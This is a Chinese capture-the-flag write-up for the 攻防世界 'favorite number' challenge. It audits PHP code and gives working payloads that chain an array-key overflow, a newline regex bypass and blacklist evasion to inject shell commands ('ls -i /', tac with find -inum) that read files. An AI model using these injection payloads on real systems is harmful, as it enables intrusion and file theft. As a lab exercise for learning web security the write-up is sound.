攻防世界 favorate number 代码审计 抓包
首先是审计代码知道了
想要得到falg的条件,然后就是实现绕过
有几个点要注意的是
抓包的时候一定不要抓错,,这很重要,,之后就是 ls指令显示文件夹 然后寻找flag的inode节点
stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i / %0a是换行绕过检查 -i / 是固定的格式
然后会有flag的响应节点,,,一定要对应的
stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 20190647`
最后面的一串数字就是索引的inode节点 ,一点要对应
tac的功能和cat的一样只是文件展示的顺序不同。

进入界面

简单的代码审计
- 首先是个判断,既要数组强等于,又要首元素不等
- 然后是个正则,要求整个字符串都是数字,大小写不敏感,跨行检测
- 最后是个黑名单,把常用的都排除了
只能从溢出或者php5.5.9本身的漏洞去思考了
查了查
有数组的key溢出问题
参考:
于是得到payload
stuff[4294967296]=admin&stuff[1]=user&num=123
- 1

payload如下
stuff[4294967296]=admin&stuff[1]=user&num=123%0als
- 1
这里用hackbar失败了
就不是很明白
做题时头一疼

然后尝试用burp抓包
成功执行ls

成功绕过第二个条件
最后是命令执行
查了查
显示有如下的办法

我们可以用tac
inode
索引节点
先寻找flag的inode
stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /
- 1

读取flag
stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 20190647`